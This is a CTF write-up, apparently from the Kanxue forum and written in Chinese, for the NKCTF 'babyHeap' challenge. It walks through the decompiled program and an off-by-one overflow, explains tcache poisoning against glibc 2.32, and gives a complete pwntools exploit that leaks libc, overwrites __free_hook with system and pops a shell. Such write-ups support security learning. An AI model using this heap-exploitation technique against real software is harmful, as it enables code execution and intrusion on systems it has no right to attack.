其他
【NKCTF】babyHeap-Off by one&Tcache Attack
一
程序分析
IDA静态分析
伪代码分析
main函数
{
int choice; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v6; // [rsp+8h] [rbp-8h]
v6 = __readfsqword(0x28u);
init(argc, argv, envp);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 4uLL);
choice = strtol(buf, 0LL, 10);
if ( choice <= 5 && choice > 0 )
break;
puts("Index error.");
}
if ( choice == 5 )
break;
switch ( choice )
{
case 1:
add();
break;
case 2:
delete();
break;
case 3:
edit();
break;
default:
show();
break;
}
}
puts("Goodbye and welcome to use it next time.");
return 0;
}
add函数
{
signed int index; // [rsp+Ch] [rbp-14h]
int size; // [rsp+10h] [rbp-10h]
char buf[4]; // [rsp+14h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
printf("Enter the index: ");
read(0, buf, 4uLL);
index = strtol(buf, 0LL, 10);
if ( (unsigned int)index > 0xF )
{
puts("Up to 16 nkctf notes can be created.");
}
else if ( note_array[index] )
{
puts("Sorry, this nkctf note has already been used.");
}
else
{
printf("Enter the Size: ");
read(0, buf, 4uLL);
size = strtol(buf, 0LL, 10);
if ( size <= 256 )
{
note_size[index] = size;
note_array[index] = malloc(note_size[index]);
if ( !note_array[index] || !note_size[index] )
my_error("malloc()", 0xFFFFFFFFLL);
}
else
{
puts("This nkctf note is too big.");
}
}
return __readfsqword(0x28u) ^ v4;
}
delete函数
{
unsigned int v1; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Enter the index: ");
read(0, buf, 4uLL);
v1 = strtol(buf, 0LL, 10);
if ( v1 > 0xF )
{
puts("Index error.");
}
else if ( note_array[v1] )
{
free((void *)note_array[v1]);
note_array[v1] = 0LL;
note_size[v1] = 0;
if ( note_array[v1] || note_size[v1] )
my_error("free()", 4294967294LL);
}
else
{
puts("The nkctf note to be freed does not exist.");
}
return __readfsqword(0x28u) ^ v3;
}
edit函数
{
unsigned int v1; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Enter the index: ");
read(0, buf, 4uLL);
v1 = strtol(buf, 0LL, 10);
if ( v1 > 0xF )
{
puts("Index error.");
}
else if ( note_array[v1] )
{
printf("Enter the content: ");
my_read(note_array[v1], (unsigned int)note_size[v1]);
}
else
{
puts("The nkctf note to be filled was not created.");
}
return __readfsqword(0x28u) ^ v3;
}
show函数
{
unsigned int v1; // [rsp+0h] [rbp-10h]
char buf[4]; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v3; // [rsp+8h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("Enter the index: ");
read(0, buf, 4uLL);
v1 = strtol(buf, 0LL, 10);
if ( v1 > 0xF )
{
puts("Index error.");
}
else if ( note_array[v1] )
{
puts((const char *)note_array[v1]);
}
else
{
puts("The nkctf note to be printed was not created.");
}
return __readfsqword(0x28u) ^ v3;
}
my_read函数【漏洞】
{
unsigned int v3; // [rsp+10h] [rbp-10h]
int i; // [rsp+14h] [rbp-Ch]
for ( i = 0; i <= a2; ++i )//逻辑错误导致1个字节的溢出
{
v3 = read(0, (void *)(i + a1), 1uLL);
if ( *(_BYTE *)(i + a1) == 10 )
break;
}
return v3;
}
分析总结
edit()
函数输入内容时使用的my_read()
函数,看名字都很可移:),其中根据创建时输入的chunkSize进行循环,由于逻辑错误导致会多读取一个字节,可以进行溢出。二
漏洞利用及原理
可利用漏洞
利用分析
0x?8
个字节时便可实际输入0x?9
篡改下一个chunkSize
,于是我们可以进行如下利用:◆申请3个大小为0x68
的chunk
◆通过溢出篡改chunk#1->size=0xF1
◆释放chunk#1
使其进入Tcache#0xf0
◆重新申请chunk#1
,大小为0xE8
chunk#1
被重新至于原位且此时记录大小为0xE8
,真实大小依旧为0x68
,可随意篡改,泄露chunk#2
,于是进行以下利用:◆篡改chunk#2->size=0x4b1
◆申请4个大小为0x100
的chunk
◆释放chunk#2
使其进入Unsorted Bin
◆向chunk#1
中填充大小为0x70
的字符
◆使用show()
函数打印chunk#1
以泄露main_arena
glibc-2.32
,由于应用了Tcache
,所以决定使用Tcache poisoning
进行任意地址写。利用原理和注意事项
Tcache
整体和FastBin
较相似,同采取单链表 LIFO进行管理,也既其FreeChunk
仅有fd
字段,区别是在利用时,FastBin
等都将对ChunkHeader
进行检查,而Tcache
的检查极其少,导致安全性低,其中值得注意的一项检查和一项保护措施分别如下:◆针对fd
字段的混淆
◆针对被申请地址的对齐检查
◆tcache_perthread_struct
结构体中的counts
字段记录了当前分类中存在多少个可分配FreeChunk
glibc-2.31
后,对FastBin/Tcache
的fd
字段进行了混淆保护,当第一个FreeChunk
进入分类中时,&FreeChunk#0 >> 3
将作为key被保存并写入FreeChunk#0->fd
,而后该分类的每个FreeChunk->fd
在存取时都将与key
进行异或,所以若是我们要篡改fd
字段,则需要泄露key。
glibc 2.29
之前,TcacheChunk
以16 bytes
进行对齐,而在这之后,当申请的大小64<=size<=128
,则以16 bytes
进行对齐,其它情况下则以8 bytes
进行对齐,所以若是申请的&FakeChunk
不符合对齐条件,需要-=8
以绕过检查。tcache_perthread_struct->counts=0
时,则会直接跳过Tcache
从而去别处分配。注意事项的解决方案:
Tcache[X]->key
后在篡改fd时与真实Address
进行异或。malloc(): unaligned tcache chunk detected
,则将FakeFd-8。
tcache_perthread_struct->counts+1
或者篡改FreeChunk#1
或之后FreeChunk
的fd
以保证在申请到FakeChunk
前tcache_perthread_struct->counts!=0。
三
Exploit
#p = process(["./ld-2.32.so", "./pwn"],env={"LD_PRELOAD":"./libc-2.32.so"})
#p = process("./pwn")
context(os='linux', arch='amd64', log_level='debug')
p = remote("node2.yuzhian.com.cn",36361)
libc = ELF("./libc-2.32.so")
#libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#gdb.attach(p)
sleep(1)
def add(index,size):
p.sendlineafter("Your choice: ","1")
p.sendafter("Enter the index: ",str(index))
p.sendafter("Enter the Size: ",str(size))
def free(index):
p.sendlineafter("Your choice: ","2")
p.sendafter("Enter the index: ",str(index))
def edit(index,content):
p.sendlineafter("Your choice: ","3")
p.sendafter("Enter the index: ",str(index))
p.sendafter("Enter the content: ",content)
def show(index):
p.sendlineafter("Your choice: ","4")
p.sendafter("Enter the index: ",str(index))
add(0,0x68)
add(1,0x68)
add(2,0x68)
add(3,0x100)
add(4,0x100)
add(5,0x100)
add(6,0x100)
add(7,0x68)
add(8,0x68)
add(9,0x68)
add(10,0x68)
add(11,0x68)
add(12,0x68)
payload = b"A"*0x68
payload += b"\xE1"
edit(0,payload)
free(1)
add(1,0xD8)
payload = b"A"*0x68
payload += b"\x71"
edit(0,payload)
payload = b"\x00"*0x68
payload += p64(0x4b1)+b"\n"
edit(1,payload)
free(2)
payload = b"A"*0x70+b"\n"
edit(1,payload)
show(1)
mainArena = u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))-96-0xa
mallocHook = mainArena-0x10
libcBase = mallocHook - libc.sym['__malloc_hook']
freeHook = libcBase + libc.sym['__free_hook']
systemCall = libcBase + libc.sym['system']
oneGadGet = libcBase+0xdf54c
oneGadGet1 = libcBase+0xdf54f
oneGadGet2 = libcBase+0xdf552
print("libcBase ==================> 『{}』".format(hex(libcBase)))
print("mainArena ==================> 『{}』".format(hex(mainArena)))
payload = b"\x00"*0x68 + p64(0x4b1)+p64(mainArena+96)+p64(mainArena+96)+b"\n"
edit(1,payload)
free(3)
free(4)
free(5)
free(6)
add(3,0x68)
add(4,0x68)
add(5,0x68)
add(6,0x68)
free(3)
free(4)
payload = b"A"*0x6e+b"M\n"
edit(1,payload)
show(1)
p.recvuntil("M\n",drop=True)
key = u64(p.recvuntil("\n",drop=True).ljust(8,b"\x00"))
fakeChunk = freeHook
fakeChunkX = (freeHook)^key
fakeChunkM = (mallocHook)^key
payload = b"A"*0x68+p64(0x71)+b"\n"
edit(1,payload)
payload = b"A"*0x68
payload += b"\xE1"
edit(7,payload)
free(8)
add(8,0xD8)
add(4,0x68)
free(9)
payload = b"A"*0x6f + b"\n"
edit(8,payload)
show(8)
p.recvuntil("A\n",drop=True)
heapAddr = u64(p.recvuntil("\n",drop=True).ljust(8,b"\x00")) ^ key
edit(0,b"/bin/sh\x00;\n")
binsh = heapAddr-0x150
print("mainArena ==================> 『{}』".format(hex(mainArena)))
print("key ==================> 『{}』".format(hex(key)))
print("fakeChunk ==================> 『{}』".format(hex(fakeChunk)))
print("fakeChunkX ==================> 『{}』".format(hex(fakeChunkX)))
print("heapAddr ==================> 『{}』".format(hex(heapAddr)))
print("binsh ==================> 『{}』".format(hex(binsh)))
print("libcBase ==================> 『{}』".format(hex(libcBase)))
print("freeHook ==================> 『{}』".format(hex(freeHook)))
payload = b"A"*0x68 + p64(0x71) + p64(fakeChunkX)+b"\n"
edit(8,payload)
add(13,0x68)
add(14,0x68)
payload = p64(systemCall)+b"\n"
edit(14,payload)
free(0)
p.interactive()
p.close()
看雪ID:LeaMov
https://bbs.kanxue.com/user-home-952954.htm
# 往期推荐
2、堆利用学习:the house of einherjar
球分享
球点赞
球在看
点击阅读原文查看更多